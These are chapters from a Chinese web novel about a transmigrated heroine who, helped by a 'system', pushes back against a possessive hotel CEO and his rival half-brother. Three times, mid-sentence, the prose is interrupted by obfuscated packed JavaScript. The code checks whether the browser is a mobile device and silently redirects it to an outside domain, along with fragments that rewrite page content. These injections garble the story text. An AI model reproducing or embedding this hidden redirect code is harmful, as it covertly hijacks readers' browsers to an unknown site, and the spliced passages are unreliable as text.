商务舱中,一个年轻男人正在用一只老旧钢笔在纸上描摹邻座的女士,他的目光逡巡在模特和画纸之间,凌乱的卷发随意散落在额前,微微遮住了他的视线。 男人笔锋一顿,一幅速写画大功告成。 他撕下将其送给了那位女士,对方十分惊喜,连连感谢。 男人微笑着点头,将速写本放进文件包,里面夹着罗曼蒂克庄园酒店的介绍资料。 那位邻座女士问:“您是来这里旅行吗?” 男人笑了笑,答道:“是旅行,也是……算一笔旧账。” 飞机穿过云层,地平线缓缓露出。 男人望向舷窗外陌生又熟悉的景色,神色意味不明。 14. 14 这边,凌昊天的办公室里,空气中弥漫着火药味。 姜婋和他斗智斗嘴了整整三百回合,终于把这场会议画上句号。 一出办公室门,她便揉了揉太阳穴,压低声音对系统吐槽。 “我真搞不懂,言情小说里的霸总设定怎么还没被淘汰?霸道、冷酷、自恋,偏偏只独宠女主角一人,对所有人都是横眉冷对。大家看得如痴如醉的时候,难道没有想过,如果你不是女主角,是男主身边的其他人,比如我这种小配角,和这种自恋狂工作简直折寿。” 系统语气平静:“可你曾在评论区留言,‘凌昊天宇宙第一帅,谁不想被他宠爱?’” “谁都有年少无知的时候……” 姜婋满脸黑线:“长大后才看明白,这种以全世界为敌,只专宠你一人的人设,根本就是悖论。都与全世界为敌了,不是反社会人格还能是什么……我看凌昊天就是个NPD!哎呦——” 她正说着,猛地撞上了一个人。 “对不起。” 那人微笑着轻声致歉,声音低柔,像春日的暖风。 姜婋下意识抬头,愣了一下:“哟,这长相……不错啊。” 那男人已经转身离去。 姜婋狐疑地盯着他的背影:“我好像没在酒店见过他,但怎么感觉有点眼熟呢?” 系统:“他就是这本小说的——” 砰! 系统话未说完,办公室里一声重物砸落的巨响,打断了系统的回复。 紧接着,凌昊天怒吼:“你凭什么回来?!” 姜婋眼神一亮,当即切换成吃瓜模式,蹑手蹑脚凑到门口偷听。 屋内,响起一个轻缓如水,却带着一丝挑衅的声音。 “哥,不是你请我回来的吗?我就是你们酒店广告片的导演,你同父异母的弟弟,凌辰风。” “他就是男二号!” 姜婋惊得张大嘴巴:“我说怎么眼熟,因为他长得像凌昊天!系统,男二号怎么提前登场了?他不是要等酒店陷入经营危机后才登场吗?” 系统:“因为你帮酒店做了升级改造计划,所以原小说的经营危机暂时被化解。男二号的职业设定本来就是广告导演,而你提出的宣传片方案,正好成了他登场的契机。外加,昨晚男女主角确认心意,按照感情线的推进,男二号也该强势登场,掀起三角修罗场了。” “这么说来,是我这只小蝴蝶扇动了翅膀,才掀起了这场男主和男二的海啸。” 姜婋回忆起凌辰风的设定,和大部分言情小说一样,秉承着“男主是女主的,男二是大家的”这一原则,凌辰风性格温柔如风,表面阳光开朗,实则是深藏不露的偏执狂和病娇怪! 当时有很多读者支持男二号和女主角在一起,自称“辰星”党。在小说留言区里,甚至“辰星党”一度把“昊星党”按在地上摩擦。 此时,办公室内硝烟正浓。 门内响起凌昊天的怒吼:“怎么可能是你?” 他抓起文件夹,迅速翻到导演个人介绍页,发现凌辰风用的是英文名。 再加上,他只在父亲的葬礼上见过这个私生子,之后两边更是老死不相往来,他根本不知道成年后的凌辰风长什么样子…… 凌昊天扔掉文件夹,厉声质问:“你隐藏身份参与导演招募,到底有什么目的?” 凌辰风眨巴着琥珀色的眼眸,耸耸肩:“我没有隐藏身份,在广告圈大家都是用英文名。这对于我来说只是一份工作而已。” 忽然,他凑近凌昊天耳边,低声一笑:“当然,如果你希望我别有目的……我也可以考虑配合。” 凌昊天:“你……” 门外,看见凌昊天吃瘪,姜婋暗爽,看来自恋狂还得病娇来收拾。 她悄悄离开门口,心想,这时候男二号登场也不错,正好能灭灭男主角的威风,正所谓敌人的敌人就是朋友嘛! 前厅部的休息区,姜婋拿着广告宣传片方案找到了夏星澜,她一听是为了酒店,欣然答应拍摄。 姜婋冷哼道:“你知道吗?某人可是坚决反对你拍广告。” “你是说昊天吗,为什么?”夏星澜不解。 “还能为什么?把你当成他的所有物,不希望你抛头露面,怕你一出镜,全世界都想追你呗!” 夏星澜笑了笑:“那我去说服他。” 姜婋忙道:“你这样不反而跳进了他的陷阱吗?你做什么事情难道还要他同意啊?” 夏星澜想了想:“或许昊天这么做是因为关心我,怕我太累了……这也是一种爱我的表现吧?” 姜婋翻了个白眼:“拜托,这要是爱,那‘PUA’都成高尚行为了。夏星澜,你要把你自己的感受放在第一位,令你不舒服的关系,那就不是爱,你要警惕以爱为由的操控!” “不会的,昊天不是这样的人。” “你很了解他吗?” “当然了。” 姜婋摇头:“你对他有滤镜,这滤镜让你根本认不清他真实的模样。况且,他对其他人是什么样子的,你也不了解。” 看着夏星澜一脸不信的模样,姜婋心道,我真该拿个执法记录仪记录下凌昊天是怎么对我,以及怎么对他弟弟凌辰风的…… 突然,夏星澜的电话响了。 她刚接起来就听见弟弟的哭诉:“姐,我求你了,你别再让人去威胁爸了!他现在缠上我了,我这个月刚找的工作都被他搅和没了!” “你在说什么,我怎么听不懂?” “姐,不是你让人去威胁爸爸不要出现在你面前吗?” “我……” 夏星澜正要说什么,对方已经挂断。 电话里的声音太大,连姜婋也听得一清二楚:“怎么回事?有人威胁你爸爸?” 夏星澜蹙眉思索:“会是谁呢?” 她想到一个人,但不敢确信。 直到对面的姜婋指出:“还能有谁?当然是凌昊天了。他有酒店员工的资料,上次还撞见你爸来找你要钱。” 夏星澜虽然不愿相信,但也不得不承认,凌昊天是最有可能做这件事的人。 她腾地站起来:“我要去问问他!” 片刻后,夏星澜冲进凌昊天的办公室,此时的凌昊天刚和凌辰风对峙完,也正情绪上头。 “昊天,我有事要问你。” “怎么了?” 夏星澜努力克制情绪:“我刚接到我弟弟的电话,他说有人威胁我父亲。我想知道……那个人是你吗?” 凌昊天一脸坦然:“就是我。怎么了?” “你为什么要这么做?” “我这么做当然是为了你。” “为了我?” 夏星澜脑中突然闪过姜婋方才的话:“你要警惕以爱为由的操控!” 凌昊天冷声道:“上次你爸突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612000|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现在酒店,我不希望他纠缠你,所以就帮你清理掉了。” “清理”这个词令夏星澜心中一沉。 “可是我爸爸现在去找我的弟弟,我弟弟是无辜的,他才刚毕业——” 凌昊天有些烦躁:“那我就让人顺带警告你弟弟,让他也别来烦你!” “我不是这个意思……” “那你到底要我怎么做?!”本就在气头上的凌昊天猛地拔高了音量。 夏星澜心头一颤,可「女主必为男主心动法则」启动,让她瞬间就原谅了男主的脾气,甚至开始怀疑,是不是自己不该这么冲动,跑过来质问他…… 凌昊天扯了扯领带:“我以为我这么做你会开心,会感谢我。” “我没有不开心……” 倏地,那片破碎的玻璃又出现了,刺痛了夏星澜的脖颈。 一瞬间,她想起了那天她和姜婋拉钩时许下的承诺。 ——“那我们拉钩,不许生对方的气了,也不要再说违心的话了,好吗?” 难道是因为自己说了违心的话? 没错! 夏星澜恍然意识到,每当她想要说违心的话,那片映照着自己脸的破碎玻璃就会出现,因为刚才她正想顺着凌昊天的意思说假话! 她必须要坦诚布公地表达真实的想法,否则这块碎玻璃只会割伤自己。 这一刻,那块碎玻璃的出现,仿佛是卡在「女主必为男主心动法则」触点中间的bug,令浪漫爱法则短暂失效了。 恶龙缩回洞穴,公主决定诚实。 夏星澜深吸一口气道:“昊天,我知道你的出发点可能是为我好,但我家的事,我想自己来处理。如果我应付不了,我会向你求助,但在那之前,请你不要插手。” 凌昊天愣住,因为夏星澜从来没有忤逆过他的想法,在他眼中夏星澜是温柔可爱的解语花,是善解人意的小太阳……可现在,她不但不领情,语气中还在责怪自己。 凌昊天压着情绪:“是我多此一举了。” 夏星澜离开办公室,走着走着来到了小花园。 她终于说出了真实的感受,可凌昊天却明显不高兴了。但要是继续违心地顺着他,那把藏在心里的玻璃碎片,迟早会割伤自己。 她正出神时,一个温柔又带点笑意的男声忽然在她背后响起: “这么漂亮的人要是不开心的话,连花园的花都要哭泣了……” 夏星澜转过头,只见一个穿着白衬衫的男人正站在不远处,手里举着一朵有点蔫了的戴安娜玫瑰,神情一本正经道:“我才刚安慰完这朵花,又发现了一个需要安慰的人。” 夏星澜被他的玩笑逗乐。 “这花送你。” 夏星澜正要伸手去接,那朵花却突然凭空消失了。 下一秒,那人的手绕过她的脖颈又变出一朵盛开的玫瑰。 “哇!”她忍不住笑出声。 “你笑了,花也开了。” 那人笑容温暖,琥珀色的眼睛闪着猫一样的狡黠。 “谢谢你。”夏星澜轻声道。 “不用谢,我只是路过,顺手拯救了一朵快蔫了的花,和一个好像心情也快蔫了的人。” 他说完,潇洒地摆手离开。 夏星澜看着手里的玫瑰,刚想抬头问他是不是酒店的客人,却发现那人早就不见了。 这人真奇怪,像风一样来去无踪。 15. 15 宣传广告拍摄当天,站在队伍中的夏星澜隐隐不安。 因为那日她闯进凌昊天的办公室,两人虽然没有吵架,但也是不欢而散,她担心凌昊天会不会还在生自己的气。 可她每每想到此处,脖颈就会出现碎玻璃割伤般的抽痛,后来她索性逼自己别再想。况且,明明自己才是该生气的那个好吧…… 不远处,姜婋拿着拍摄脚本,穿过人群,声音响亮地号召起来。 “大家都是优中选优的员工,今天第一个镜头很简单,站在酒店门前,面带微笑,做出邀请的手势,不要紧张啊。” 其实姜婋最紧张,因为她从来没干过这种活儿。 她忍不住跟系统吐槽:“我在这个副本里还真是身兼数职,比伺候我导师还累。” 系统:“谁让你提出了宣传方案,现在褚董事长很看中你,还亲点你当专项小组的负责人。” “我顶多算个挂名的,拍宣传片主要靠导演。对了,导演呢?” 姜婋转身问旁边的摄影人员:“导演什么时候来?” “导演让我们先拍,他马上过来。” “好,那大家准备一下啊。3、2、1——Action!” 镜头自远处缓缓推进,掠过一张张员工微笑的脸。 突然,一个手持摄影机直接朝夏星澜而来,毫无预兆地推到了她的面前。 那人移开镜头,露出一张熟悉的笑脸。 “你笑得不够发自内心,怎么见到我不开心吗?” 夏星澜微微一愣,面前之人正是那天给他变魔术的神秘人。 他从兜里拿出一枚硬币,在她面前一晃,手腕优雅一转,顺势环过她的脖颈,竟从她耳后“变”出一张扑克牌。 扑克牌翻转,赫然是一张大大的笑脸。 这个小魔术瞬间引来周围人的惊叹。 夏星澜被逗笑,那人道:“没错,就是这个笑容!自然中还带着点惊喜,完美。” “导演你来了。”姜婋走过来,适时地打断凌辰风的孔雀开屏。 凌辰风挑眉一笑:“咦,你认识我?” 姜婋晃了晃手里的文件:“我看过你的资料。你好,我是这次拍摄的负责人,姜——白潇潇。” “你好,我是这次的广告导演凌辰风。” 他说话的时候,还不忘朝夏星澜意味深长地看了一眼。 顶楼的办公室里,凌昊天站在落地窗前,眼神定定地望着楼下这幕,眉头皱得能夹死一只苍蝇。 上午的拍摄结束,员工渐渐散去。 凌辰风拎着摄影机朝夏星澜走来:“夏经理,你能帮我推荐一下餐厅吗?” 夏星澜道:“当然,我们酒店二楼有全天候的自助餐厅,三楼有中餐厅,四楼是西餐厅,还有特色餐厅,看你想吃什么了?” 凌辰风展颜一笑:“你想吃什么,要不要一起?” 夏星澜有些为难:“导演,我要回前厅去值班了。” 凌辰风故作失落:“那真是太可惜了……” “不可惜!” 姜婋走过来道:“导演你要想找人陪你吃饭,我陪你呀,正好聊一聊明天的拍摄计划!” 说完,她一手勾住凌辰风的胳膊,半是客气半是强硬地把人拖走,还不忘回头朝夏星澜眨眨眼。 夏星澜回到前厅,却发现另一个班次的前厅经理此刻正站在大堂。 “我还没下班呢,你就怎么来换班了?” 那位前厅经理尴尬笑问:“夏经理,你不知道吗?从今天起你不是前厅经理了。” “什……什么意思?我被开除了?” “不是不是!”对方连忙摆手,“是升职了!你现在是——行政主管。” “我怎么没接到通知?”夏星澜一脸茫然。 对方神秘兮兮笑道:“夏经理,哦不,夏主管,要不你还是问问凌总吧。” 夏星澜跑到顶楼的凌昊天办公室,叩门后直接推门而入。 “昊天,这是怎么回事?我刚刚回到前厅,可同事告诉我,我现在不是前厅经理了,是不是哪里搞错了?” 凌昊天抬头,神色平静:“没错。从现在起,你是行政主管。” “什么时候决定的?为什么我一点都不知道?” “就在刚刚,我做了人事调整。”他的语气轻描淡写,仿佛只是点餐时换了一道菜。 夏星澜费解:“为什么要让我换岗位?是我的工作哪里做的不好吗……” 凌昊天站起身,带着不容置疑的语气:“我之前说了,我们的交往是以结婚为前提的,你未来是凌氏集团的少奶奶,怎么能继续做前厅经理这样抛头露面的工作呢?不如趁早去行政部锻炼一下,将来也好和我一起打理公司。” 夏星澜还是难以接受:“可是这太突然了,你完全没有跟我商量。” “哦?” 凌昊天笑道:“我以为这对你来说是一个惊喜呢?” “这不是惊喜,这是惊吓!” 夏星澜耐心解释:“昊天,自从我进了酒店,轮岗后一直在做前厅部工作,你现在突然让我去行政部,我并不了解业务啊。” “没关系,可以慢慢学习,反正你早晚都要学,不如就趁现在。” 夏星澜一时语塞,竟也找不到什么反驳的理由。 她正要转身出去的时候,凌昊天突然提醒—— “对了。从现在开始,你就不能拍广告了,毕竟你现在的身份,拍那些不合适。” 那一刻,夏星澜的心“咯噔”一下。 原来这一切,只是因为凌昊天不愿意她出现在广告里? 没想到仅仅是因为他个人的不开心,就改变了夏星澜的职业生涯。 夏星澜回到前厅部的休息室,不舍地脱掉了这身婋婋刚给她制作的新制服。 她才穿了两天,还有这双舒适的平底鞋…… 虽有千般不愿意,但夏星澜还是不得不收拾好东西。 离开前厅部时,大家都非常不舍,夏星澜更是难过,这里毕竟是她工作了五年的地方。 当她拿着东西来到行政部的时候,发现这里的氛围与前厅部截然不同。 行政部的工作人员都是高学历的海归,很明显他们看不起夏星澜这个“走后门”进来的人,但他们又碍于凌昊天的压力,不敢在明面反抗,只能搞小动作。 一下午,夏星澜坐在这里,也没有人教她流程,更没人给她安排工作。 最后夏星澜忍不住了,起身问道:“请问,我需要做些什么?” 大家就把她当空气,各忙各的,没有人理她。 夏星澜明白,这是行政部集体无声的抗议,借此来把她逼走。 她觉得自己就像一株摆错地方的绿植,浇不到水,晒不到光,也没人管她死活。 临近傍晚,夏星澜实在闷得喘不过气,悄悄去了小花园。 虽然前厅部非常忙碌,但她起码是充实的,不像现在这样无事可做,像个废人一样,这样长久下去根本就不是办法。 就在这时,身后响起一个熟悉的声音:“吃糖吗?” 原来是凌辰风。 他打了个响指,突然从掌心里变出一颗水果糖。 “谢谢……”夏星澜接过,此刻她确实需要一点糖分来缓解压力。 “不开心的时候吃糖最有效了。” 凌辰风突然垂下弯弯的笑眼:“对不起。” “你为什么要跟我道歉?” 凌辰风顿了顿:“我下午拍摄没见你,才知道你被调走了……我猜,大概是因为我吧?凌昊天不希望你和我一起工作。” 夏星澜困惑:“因为你?” “你还不知道吧?我其实是凌昊天的弟弟。” “什么?凌总他还有弟弟?” 凌辰风苦涩一笑:“是同父异母的弟弟,毕竟我的存在,对他来说也不是什么光彩的事。” 夏星澜恍然,她好像之前确实听说过这方面的谣言。 凌辰风靠在花坛边,耸耸肩:“他讨厌我,所以也不希望你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612001|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离我太近。” 夏星澜连忙解释:“你别多想,不是因为你,是我们两个之间的问题。” “你们吵架了?” 夏星澜:“没有……” 凌辰风低头一笑,眼角微垂,像只人畜无害的小猫咪。 “那就好,我可不想因为我,让你不高兴。可是,你不觉得他做的有些过分吗?不管是因为我,还是其他原因,都不该莫名其妙把人调离岗位吧?” 他说着琥珀色的瞳孔倏然冷了几分:“不过,对凌昊天那种人来说,一出生就拥有一切,是不会明白工作对于一个人的重要性的。我们对于他们来说,不过是卑贱的蝼蚁。只要他们开心,可以随时碾死一只……” 他话锋一转,朝夏星澜一笑:“对了,明天我去露天泳池拍摄,你要来吗?” “我……” “你怕他?” 凌辰风似笑非笑地看着她。 夏星澜心中一颤:“没有。” “那我就当你答应了,明天不见不散。” 他转身离去,背影在夕阳的光影中拉得很长。 夏星澜舌尖的水果糖渐渐融化,愈发酸涩。 她咬碎糖衣,咂摸着凌辰风方才的话: “我们对于他们来说,不过是卑贱的蝼蚁。只要他们开心,可以随时碾死一只……” “你怕他?” 这两句轻飘飘的话语,却在夏星澜心中激起千层浪。 没有「女主必为男主心动法则」的控制,她冷静思考起来,不知道从什么时候开始,她和凌昊天之间的天平发生了逆转。 之前凌昊天追求自己的时候,又是浪漫的专属烟花,又是空运的戴安娜玫瑰,又是独一无二的星芒戒指…… 那些美好而易碎的礼物,让夏星澜都有些神志不清了。可自从在顶楼餐厅答应了他的告白,她就好像成为了凌昊天的所属物一样。 昨天还是夏经理,今天就变成了夏主管,那明天呢? 凌昊天的一句话,可以让父亲再也无法出现,那自己呢? 一股巨大的失控感和恐惧感如海浪般向夏星澜席卷而来,让她浑身发抖。 就在这时,一阵急促的脚步声传来。 “夏星澜!” 姜婋气喘吁吁地冲过来,“我刚刚去前厅找你,他们说你被调去行政部了?这到底是怎么回事?” 姜婋这日一直在忙着广告拍摄和敲定中餐主厨的事宜,刚和褚董事长汇报完工作,结果就发现后院起火了。 夏星澜轻轻叹气:“昊天想让我去行政部学习——” “骗鬼呢!” 姜婋怒气冲冲:“他明摆着不想让你拍宣传广告,故意把你调开。他怕你太耀眼,怕别人注意你,怕你不再只属于他!你是一个活生生的人,不是凌昊天可以随意操控的棋子!” 她越想越气:“不行,我要去找他去!” “算了——”夏星澜拉住她。 “怎能算了呢?难道你怕他?” 夏星澜一时哑然。 “夏星澜,不要怕!” 姜婋直视她的眼睛,“他就是在用你的恐惧来控制你,你退让一次,就会有变本加厉的下一次。凌昊天是在对你进行服从性测试,他今天可以让你换部门,明天就可以把你开除,后天他就能把你关在家里,让你成为不得不依附他的金丝雀!夏星澜,难道你真的想被凌昊天操控吗?” 她一字一句,如冷刀剖开糖衣陷阱。 那心动法则,在生存危机面前骤然失效。 夏星澜握紧拳头,忽然指间的星芒戒指微微颤动。 她低头看去,只见星芒的左右两端猝然变长,如锁链般缠住了她的手腕,变成了一副寒光凛凛的手铐;而星芒的上下尖端无限延展,交错生长,眨眼间已织成一座不可逃离的囚笼,将她困在其中! 突然,这牢笼的栅栏骤然紧缩,越来越逼仄。 就在夏星澜即将被铁牢碾碎的时候,她猛地闭眼,大声喊出: ——“不!” 16. 16 夏星澜猛然惊醒,原来刚才那些惊心动魄的恐怖画面,不过是她午后小憩时的一场噩梦。 看来昨天姜婋和凌辰风对自己说的话,产生了非常大的影响,不然也不会做这么离谱的梦。 她揉了揉眼睛,看到自己手上的星芒戒指,犹豫片刻,还是摘了下来。 忽然,手机一震,是凌辰风发来的消息:“露天泳池见。” 夏星澜本来没想去赴约,但也不知道是因为这个梦的刺激,还是其他原因,反而产生了一种想要逃出“监狱”的逆反精神。 罗曼蒂克庄园酒店的露天泳池在两栋建筑之间,是无边泳池的设计,倚靠在泳池边缘,就可俯瞰整个庄园的美景。此处正是拍摄宣传广告不可少的画面。 夏星澜抵达时,发现姜婋也在。 “咦?你居然来了!”姜婋有些惊喜。 凌辰风一边调整设备,一边笑道:“是我请夏主管过来帮忙的。今天要拍空镜,需要清场,多一个人,就多一份效率。” 姜婋当然知道理由不止这么简单,凌晨风是男二号,他就是暗戳戳追夏星澜,以及偷摸摸挑战凌昊天的底线。 她把夏星澜拉到一边,压声问道:“我昨天跟你的话说的话,你考虑清楚了没有?如果你想回前厅部,我帮你去和褚董事长说。” 夏星澜却摇头:“我如果突然回去的话,大家会怎么想我呢?一天换一个部门,这不是把人事调动当儿戏吗?” “你太把别人怎么想当回事了。你得先问问你自己,你想在哪个部门工作?” “我……”夏星澜想说什么,但却觉得那个部门简直遥不可及。 姜婋见她脸色不好,忙问:“你怎么了?小脸煞白的,是不是身体不舒服?” “可能……早餐没好好吃,有点饿了。”夏星澜知道其实是那噩梦的缘故。 “那正好!” 姜婋提议道:“今天中餐厅的新主厨正式上岗,我们拍完去试试新主厨的手艺吧?” “好呀,这么快找好主厨了。” “有我的推进,外加褚董事长亲自出马,当然分分钟更搞定,不像凌昊天磨磨唧唧……” 姜婋话锋一转,努嘴示意她往后看,“哟,说曹操,曹操来了。” 夏星澜顺势望去,只见凌昊天穿着浴袍,昂首阔步走了过来。 系统提示音在姜婋耳边炸响:“警告,男主即将进入女主心动半径,「女主必为男主心动法则」即将启动!” 姜婋立刻进入战斗模式,闪身挡在二人之间,还不忘顺手拿起一个大号鸭子泳圈套隔开两人—— “我们拍广告呢,你离远点,省的误入镜头。” 凌昊天嫌弃地看了眼鸭子泳圈,定住脚步在泳池边拉伸。 他乜了一眼夏星澜:“你怎么在这里?你已经不是广告模特了。” “我知道,”夏星澜道:“我不是来拍摄的,是来帮忙的。” 凌昊天没再说话,但表情很是不满。 但姜婋却很满意,心道,只要自己让男女主隔开三米以上,任凭凌昊天脱衣秀肉施展美男计,夏星澜也会不为所动! 这边,凌辰风架好设备,开始拍摄空镜。 他每次掌机拍摄的时候总有一种神奇的魅力,大概就是当一个人全身心投入工作时,那种热情总是会吸引到大家的目光。 眼看泳池边所有人的视线,包括夏星澜都看向了凌辰风,凌昊天再也坐不住了。 他站在泳池边,倏地脱下浴袍,秀出自己完美的身材…… 【此处省略500字男主身材描写】 展示的差不多了,他跃入水中,游得水浪翻飞。 姜婋吐槽:“我最烦这种在泳池里炫技的,他一扑腾,别人都没法游了。” 见众人的目光被凌昊天吸引,凌辰风也不甘示弱。 方才凌昊天入水时的水花溅到了他的外衣,他脱掉外套,露出里面贴身的T恤。即便穿着衣服,依然可以在轻薄的布料中窥见他线条分明的肌肉。 有时,全脱了还不如留一件。 毕竟大脑才是最重要的性/器官,想象力能促进多巴胺的分泌。 姜婋看热闹不嫌事儿大,插着腰朝泳池里的凌昊天道:“小昊天,换个泳姿!总这几个动作,老娘都看得都腻了。” 她回头冲夏星澜耸肩:“真是无聊的雄竞。” 身处2009年的夏星澜哪里懂得这个词,便问:“什么是雄竞?” 姜婋挑眉一笑:“你知道动物世界的法则吗?雄性动物在求偶博弈时,为了引起雌性的注意,渐渐进化出漂亮的外形。比如说鸟类,孔雀求偶时一边引吭高歌,一边开屏。” “但是有意思的是,人类世界却完全相反,女性反而需要服美役。不知雄孔雀若知道了我们人类的故事会作何感想?人类呀,你们怎么会和我们倒了个儿?是谁在制造这种规则?这样做究竟对谁有利?” 夏星澜听着,微微思忖。 姜婋凑在她的耳畔问:“不过,你看到凌昊天和凌辰风互相较劲,有什么感觉?” 夏星澜皱了皱眉:“我觉得有些奇怪……还有点可笑。” “是吧?因为男性之间的雄竞,并不是为了女性的认可,而是为了得到男性的认同。” 姜婋冷笑道:“当一个男人怀疑自己不够有男子气概时,他是在通过父权制的角度来评判自己,而不是从女性视角评判自己。所以,他们虽然是因为你在较劲,但其实却又与你无关,搞笑吧?” 夏星澜瞧着泳池里激浪腾飞的凌昊天,又瞅瞅岸边宛如模特的凌辰风,突然有种看马戏团表演的感觉。而且,这节目她还并不喜欢。 好奇怪,明明自己之前会对凌昊天的一举一动都心神荡漾…… 这时,凌辰风招呼她们来看取景器。 此刻阳光正好,粼粼水波中倒映着蓝天白云,水面与天空互为镜像,形成完美的对称景致。 “这个空镜拍得真美。” 夏星澜惋惜道:“我在酒店工作这么久,都不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612002|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道原来露天泳池这么好看。每次来这里都是处理投诉,没有好好欣赏过。” “那真是太可惜了。”凌辰风笑道,“美景从不缺席,缺的是看风景的人。” 几人正说着,凌昊天猛地出水,水花四溅,直接甩到了摄影机上! 姜婋立刻爆发:“凌昊天,你上岸弄跟煎鱼似的噼里啪啦,看着点!把摄影机都弄湿了!” 她说话间,还不忘用反光板隔开夏星澜和凌昊天三米距离。 凌昊天不以为意,擦着水珠道:“坏了我赔。” 这话明显带着挑衅的意味。 凌辰风语气淡淡:“可惜,并不是所有东西都可以用钱来买,就比如说这台摄影机,已经停产了,只能在国外租到。” 凌昊天披上浴袍,转身抖了抖衣襟道:“那又如何?我投资到让它重新生产也不是难事。” “哥,你还真是异想天开。”凌辰风尾音上扬,话气带刺。 “别叫我哥,少跟我套近乎。” 凌昊天逼近一步,低声冷语:“你只是我找来的广告导演,少对我指手画脚!” “是我唐突了。” 凌辰风退一步,“毕竟只要你一个不高兴,我这个导演就得走人。” “你明知道夏星澜是我女朋友,还偏偏挑她来帮忙?” “那凌总知不知道,她在新部门被排挤,我请她过来,是想让她换个心情。”凌辰风话锋一转,“可到底是谁,把她推进那样窒息的环境?” 凌昊天语塞,他还真不知道夏星澜在行政部的情况,但还是强行挽尊道:“别说的你好像很了解她!” 就在二人剑拔弩张之时,忽然有人高喊:“有人溺水了!” 众人寻声望去,只见一位女士正在水中挣扎。 凌昊天正要脱掉浴袍纵身入水,却发现夏星澜已经抢先一步跳入水中! 他忙喊道:“夏星澜,你不会游泳还——” 可他还未说完,就发现夏星澜动作专业、干脆利落地把人救了上来。 姜婋扭头道:“小昊天,你不知道夏星澜有救生员资格证吗?” “什么?”凌昊天愣住。 “她简历里写的啊,难道你都没有看过她的简历吗?”姜婋一击致命。 凌辰风扑哧一笑:“哥,看来你对于你的女朋友,也不是很了解嘛。” 一时间,凌昊天愣在原地。 怎么会? 他对夏星澜的第一次怦然心动,就是夏星澜为了找他的手机,不慎落水,自己把她救了上来,为她做人工呼吸。 她明明不会游泳啊…… 凌昊天瞬间心念电转,难道当时是自己误以为她不会,硬把她拉了上来,还自作多情地为她做人工呼吸……而夏星澜碍于面子,没有拆穿他那并不成立的“英雄救美”。 原来自己的心动时刻,在对方眼里竟是如此可笑。 凌昊天定在原地,水珠从他湿漉漉的发梢一滴滴滑落,眼前的世界似乎也跟着模糊起来了…… 17. 17 另一边,夏星澜和姜婋把昏倒的客人送到了酒店医务室。 姜婋担心地问:“她不会是有什么疾病吧?” 夏星澜道:“这位客人应该只是没休息好低血糖了。” “你怎么知道?” 夏星澜望了眼病床上的女人,语气笃定:“这客人瞧着脸生,应该是这两天才入住酒店的。你看她胳膊上的肌肉,像是长期健身的。还有肩膀那个欧美风纹身,估计是常年生活在国外。我猜这位女士应该是刚落地没调好时差,又立刻下水,低血糖加疲劳,就出事了。” 旁边的医护人员检查后,点了点头:“夏经理说的没错,这位客人休息一下,吃点东西应该就没问题了。” 姜婋竖起大拇指:“哇,夏星澜你都能转行当侦探了。” 夏星澜笑道:“哪有那么厉害,不过酒店待久了,练出来的直觉。有时候国外来的客人会在健身房晕倒,都是因为没休息好就去运动。” 姜婋忽然想到方才那一幕:“你刚刚反应好快,凌昊天都被你惊到了。” “毕竟我之前是前厅经理,帮助客人已经是我的肌肉记忆了。”夏星澜反问道:“你是不是还要去拍摄那边帮忙?” “对哦,那你呢?” “等她醒了我再走吧。” “好,那我们一会儿中餐厅见啦。” 夏星澜出于之前的职业习惯,总是会为客人考虑周到,便趁着她昏迷期间去做了病号饭。 不久后,女客人醒了过来,揉着短发问:“我这是怎么了?” “您刚刚在泳池,低血糖昏倒了。” “怪我,没倒过来时差,本来想游个泳清醒一下,还差点出事。多谢你了。” 夏星澜端来病号饭,“别客气,你先吃点东西吧。” 女客人一瞧,是一碗粥,一笼叉烧包,一碟龙井虾仁。 她抬眼问道:“这是你做的?你是酒店的厨师?” “是我做的。不过我不是厨师,我之前是前厅经理,有时候会帮客人做病号饭。” 女客人尝了口粥,抬起眉头:“诶?这粥里没米?” “嗯,这道粥是我母亲老家潮汕毋米粥的做法,有米不见米,只取米精华。” 女客人来了兴致:“哦?有点意思,具体怎么做?” 夏星澜介绍道:“用干贝高汤炖煮米粒,让鲜味充分融入其中,再经过滤,让它达到极细腻的状态。打掉米中的糖分和淀粉,只留取米粥中的精华部分,最适合补充糖分了。” 女客人点了点头,拿起叉烧包,咬了一口,疑惑道:“这包子不是叉烧包。” 夏星澜笑了:“这包子虽然看起来是叉烧包,但内馅用的是花胶、梅干菜和鸡胸肉,吃起来还是叉烧包的味道,但一点都不会油腻。” 女客人眯了眯眼:“你是怎么想到这么做的?” “因为大部分需要病号饭的客人都不能吃太油腻的东西,但是又需要滋补营养,所以我就选用了富含高蛋白的花胶和鸡胸肉。” 